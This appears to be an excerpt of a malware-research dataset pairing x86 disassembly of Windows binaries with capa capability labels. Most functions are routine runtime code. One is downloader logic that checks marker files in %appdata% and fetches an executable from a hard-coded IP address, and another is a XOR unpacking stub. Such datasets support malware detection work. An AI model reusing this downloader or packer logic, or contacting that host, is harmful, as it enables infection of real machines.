joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495810
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x12c
mov ebx, dword [ebp + 8]
call sub.msvcrt.dll__errno
test ebx, ebx
mov dword [eax], 0
je 0x4959be
cmp byte [ebx], 0
je 0x495988
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x4959a0
test al, 0x10
je 0x495988
lea edi, [ebp - 0x11c]
mov dword [esp + 4], ebx
mov ebx, edi
mov dword [esp + 8], 0x104
mov dword [esp], edi
call sub.msvcrt.dll__fullpath
mov edx, dword [ebx]
add ebx, 4
lea eax, [edx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x495874
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea edx, [ebx + 2]
cmove ebx, edx
add al, al
sbb ebx, 3
sub ebx, edi
lea eax, [ebx + 0x233]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je 0x4959af
lea edx, [eax + 0x22c]
lea eax, [ebx + 1]
mov dword [esp], edx
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [ebp - 0x12c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x12c]
cmp byte [esi + 0x22c], 0
je 0x495903
movzx eax, byte [esi + ebx + 0x22b]
cmp al, 0x2f
je 0x495903
cmp al, 0x5c
je 0x495903
mov edi, 0x5c
mov word [edx + ebx], di
mov eax, edx
mov ecx, dword [eax]
add eax, 4
lea edx, [ecx - 0x1010101]
not ecx
and edx, ecx
and edx, 0x80808080
je 0x495905
mov ecx, edx
shr ecx, 0x10
test edx, 0x8080
cmove edx, ecx
lea ecx, [eax + 2]
cmove eax, ecx
add dl, dl
sbb eax, 3
mov edx, 0x2a
mov word [eax], dx
xor ecx, ecx
xor eax, eax
lea edx, [esi + 0x120]
xor ebx, ebx
mov word [esi + 0x11c], cx
mov edi, edx
mov ecx, 0x41
mov dword [esi + 0x224], 0xffffffff
mov dword [esi + 0x228], 0
mov dword [esi + 0x118], 0
mov word [esi + 0x11e], bx
rep stosd dword es:[edi], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x14
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 2
xor eax, eax
jmp 0x495980
call sub.msvcrt.dll__errno
mov dword [eax], 0xc
xor eax, eax
jmp 0x495980
call sub.msvcrt.dll__errno
mov dword [eax], 0xe
xor eax, eax
jmp 0x495980
Function at 0x401360
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022b0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.5244r2e2e223.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013c1
xor al, al
jmp 0x4013fb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013f9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022e8
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.windrx.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401461
xor al, al
jmp 0x40149b
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x401499
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4014a0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401400
call fcn.00401360
movzx ecx, al
test ecx, ecx
je 0x401516
push 0x104
lea edx, [ebp - 0x410]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
push eax
push str._swindrx.txt
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401516
push str.http:__185.215.113.66_peinf.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x41622bda
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x74a736b5
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1001b500
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x10043b08], 0
jne 0x1001b515
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0
push 0x1003b43c
mov eax, dword [0x10043b08]
push eax
call fcn.100166c0
add esp, 8
mov dword [ebp - 4], eax
call dword [ebp - 4]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1001ee3c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1001ee51
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x1001ee63
xor eax, eax
jmp 0x1001ee95
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x1001ee87
cmp esi, eax
jae 0x1001ee5f
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x1001ee79
cmp esi, eax
jae 0x1001ee5f
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret

Function at 0x1002080d
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.100207d0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100208a8
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x10046010]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x100208a8
cmp eax, 1
je 0x100208c9
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100208a8
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x10020875
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x100208a4
xor eax, eax
inc eax
jmp 0x100208e8
cmp edi, eax
jae 0x100208ac
xor eax, eax
jmp 0x100208e8
cmp eax, esi
jae 0x100208b3
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x10046010]
jmp 0x100208cc
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100214dd
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x100215cd
mov eax, 0x94
call fcn.100207d0
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10021642
mov ecx, dword [esi + 0x10]
mov dword [0x10046010], ecx
mov eax, dword [esi + 4]
mov dword [0x1004601c], eax
mov edx, dword [esi + 8]
mov dword [0x10046020], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x10046014], esi
je 0x10021548
or esi, 0x8000
mov dword [0x10046014], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x10046018], eax
call fcn.100227e4
test eax, eax
pop ecx
je 0x10021642
call fcn.10024025
test eax, eax
jne 0x10021575
call fcn.10022835
jmp 0x10021642
call fcn.10025966
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100478d0], eax
call fcn.10025844
mov dword [0x10045ff8], eax
call fcn.10025325
test eax, eax
jl 0x100215c6
call fcn.100257a2
test eax, eax
jl 0x100215c1
call fcn.1002556f
test eax, eax
jl 0x100215c1
push 0
call fcn.10021b1d
test eax, eax
pop ecx
jne 0x100215c1
inc dword [0x10045ff4]
jmp 0x10021653
call fcn.10025523
call fcn.10023e0e
jmp 0x1002156b
test eax, eax
jne 0x100215fd
cmp dword [0x10045ff4], eax
jle 0x10021642
dec dword [0x10045ff4]
cmp dword [0x1004604c], eax
jne 0x100215ec
call fcn.10021c5b
call fcn.10025523
call fcn.10023e0e
call fcn.10022835
jmp 0x10021653
cmp eax, 2
jne 0x10021646
push 0x8c
push 1
call fcn.1002270f
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10021642
push esi
push dword [0x10042e94]
call dword [0x100461b0]
test eax, eax
push esi
je 0x1002163c
call fcn.10023e2b
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x10021653
call fcn.100201cf
pop ecx
xor eax, eax
jmp 0x10021656
cmp eax, 3
jne 0x10021653
push 0
call fcn.10023ff6
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x10021b87
Capabilities:
Terminate process

Disassembly:
push 8
push 0x1003cef0
call fcn.10021e58
push 8
call fcn.10022a07
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x10046050], esi
jne 0x10021bbb
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x1004604c], esi
mov al, byte [ebp + 0x10]
mov byte [0x10046048], al
cmp dword [ebp + 0xc], edi
jne 0x10021c05
cmp dword [0x100478c8], edi
je 0x10021bf5
mov eax, dword [0x100478c4]
sub eax, 4
mov dword [0x100478c4], eax
cmp eax, dword [0x100478c8]
jb 0x10021bf5
mov eax, dword [eax]
cmp eax, edi
je 0x10021bd6
call eax
jmp 0x10021bd6
push 0x10042104
mov eax, 0x100420fc
call fcn.10021b05
pop ecx
push 0x10042110
mov eax, 0x10042108
call fcn.10021b05
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x10021c36
cmp dword [ebp + 0x10], edi
jne 0x10021c44
mov dword [0x10046050], esi
push dword [ebp + 8]
call fcn.10021ac3
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x10021c43
push 8
call fcn.10022952
pop ecx
ret
call fcn.10021e93
ret
Function at 0x10025b6d
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x10042ad4]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x100431f0]
je 0x10025ba2
inc eax
cmp eax, 0x13
jb 0x10025b93
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x100431f0]
jne 0x10025cc8
mov eax, dword [0x10046000]
cmp eax, 1
je 0x10025ca0
cmp eax, edx
jne 0x10025bd2
cmp dword [0x10046004], 1
je 0x10025ca0
cmp ecx, 0xfc
je 0x10025cc8
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10025c08
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.10026df0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.10020af0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10025c3c
mov eax, edi
push eax
call fcn.10020af0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x1003d4f0
push edi
call fcn.100286f0
add esp, 0x10
push edi
call fcn.10020af0
push dword [esi + 0x100431f4]
mov ebx, eax
call fcn.10020af0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.100207d0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.10026df0
push edi
push ebx
call fcn.10026e00
push 0x1003d4d0
push ebx
call fcn.10026e00
push dword [esi + 0x100431f4]
push ebx
call fcn.10026e00
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.100285eb
add esp, 0x2c
jmp 0x10025cc8
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x100431f4]
push dword [esi]
call fcn.10020af0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.100217a6
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x100285eb
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x10046444], ebx
push esi
push edi
jne 0x1002866b
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x100286a6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1003de94
push edi
call esi
test eax, eax
mov dword [0x10046444], eax
je 0x100286a6
push 0x1003de84
push edi
call esi
push 0x1003de70
push edi
mov dword [0x10046448], eax
call esi
cmp dword [0x10046010], 2
mov dword [0x1004644c], eax
jne 0x1002866b
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x10046454], eax
je 0x1002866b
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x10046450], eax
mov eax, dword [0x10046450]
test eax, eax
je 0x100286b0
call eax
test eax, eax
je 0x10028697
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x10046454]
test eax, eax
je 0x10028697
test byte [ebp - 8], 1
jne 0x100286b0
cmp dword [0x1004601c], 4
jb 0x100286aa
or byte [ebp + 0x12], 0x20
jmp 0x100286cf
xor eax, eax
jmp 0x100286df
or byte [ebp + 0x12], 4
jmp 0x100286cf
mov eax, dword [0x10046448]
test eax, eax
je 0x100286cf
call eax
mov ebx, eax
test ebx, ebx
je 0x100286cf
mov eax, dword [0x1004644c]
test eax, eax
je 0x100286cf
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x10046444]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10028933
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x10042ad4]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x10028964
xor eax, eax
jmp 0x10028aed
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x10046540]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x100289a0
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.1002a031
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x10028a7b
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x10028ab9
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x10028a04
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x100289f5
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x100289d5
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10028a44
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x10028a4d
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x100289c6
jmp 0x10028a4f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x10028ae8
cmp dword [ebp - 0x6c], edi
je 0x10028ab9
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x10028aae
call fcn.1002268a
mov dword [eax], 9
call fcn.10022693
mov dword [eax], esi
jmp 0x10028ae3
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10028aa3
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x10028a4f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x10028a4f
push dword [ebp - 0x6c]
call fcn.1002269c
pop ecx
jmp 0x10028ae3
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x10028ad1
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x10028ad1
xor eax, eax
jmp 0x10028aeb
call fcn.1002268a
mov dword [eax], 0x1c
call fcn.10022693
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x10028aeb
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.100217a6
add ebp, 0x3a0
leave
ret
Function at 0x1002a0b4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edx, ebx
je 0x1002a288
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0x1f
sar ecx, 5
lea esi, [eax + eax*8]
lea edi, [ecx*4 + 0x10046540]
mov eax, dword [edi]
shl esi, 2
add eax, esi
mov cl, byte [eax + 4]
test cl, 2
jne 0x1002a288
test cl, 0x48
je 0x1002a11f
cmp byte [eax + 5], 0xa
je 0x1002a11f
mov eax, dword [edi]
mov al, byte [eax + esi + 5]
dec dword [ebp + 0x10]
mov byte [ebx], al
mov eax, dword [edi]
lea edx, [ebx + 1]
mov dword [ebp - 8], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi]
push edx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1002a171
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop esi
cmp eax, esi
jne 0x1002a159
call fcn.1002268a
mov dword [eax], 9
call fcn.10022693
mov dword [eax], esi
jmp 0x1002a169
cmp eax, 0x6d
je 0x1002a288
push eax
call fcn.1002269c
pop ecx
or eax, 0xffffffff
jmp 0x1002a28a
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi]
add dword [ebp - 8], eax
test byte [ecx + esi + 4], 0x80
je 0x1002a283
test eax, eax
je 0x1002a198
cmp byte [ebx], 0xa
jne 0x1002a198
mov eax, ecx
lea eax, [eax + esi + 4]
or byte [eax], 4
jmp 0x1002a1a1
mov eax, dword [edi]
lea eax, [eax + esi + 4]
and byte [eax], 0xfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
add ecx, eax
cmp eax, ecx
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], ecx
jae 0x1002a27d
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, 0x1a
je 0x1002a26d
cmp al, 0xd
je 0x1002a1d3
mov byte [ebx], al
inc ebx
inc dword [ebp + 0x10]
jmp 0x1002a25f
dec ecx
cmp dword [ebp + 0x10], ecx
jae 0x1002a1ed
mov eax, dword [ebp + 0x10]
inc eax
cmp byte [eax], 0xa
jne 0x1002a1e8
add dword [ebp + 0x10], 2
jmp 0x1002a241
mov dword [ebp + 0x10], eax
jmp 0x1002a25b
inc dword [ebp + 0x10]
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [edi]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1002a215
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1002a25b
cmp dword [ebp - 0xc], 0
je 0x1002a25b
mov eax, dword [edi]
test byte [eax + esi + 4], 0x48
je 0x1002a236
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x1002a241
mov byte [ebx], 0xd
mov ecx, dword [edi]
mov byte [ecx + esi + 5], al
jmp 0x1002a25e
cmp ebx, dword [ebp + 0xc]
jne 0x1002a246
cmp byte [ebp - 1], 0xa
jne 0x1002a246
mov byte [ebx], 0xa
jmp 0x1002a25e
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10028814
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x1002a25f
mov byte [ebx], 0xd
inc ebx
mov ecx, dword [ebp - 8]
cmp dword [ebp + 0x10], ecx
jb 0x1002a1b7
jmp 0x1002a27d
mov eax, dword [edi]
test byte [eax + esi + 4], 0x40
jne 0x1002a27d
lea esi, [eax + esi + 4]
or byte [esi], 2
sub ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
jmp 0x1002a28a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret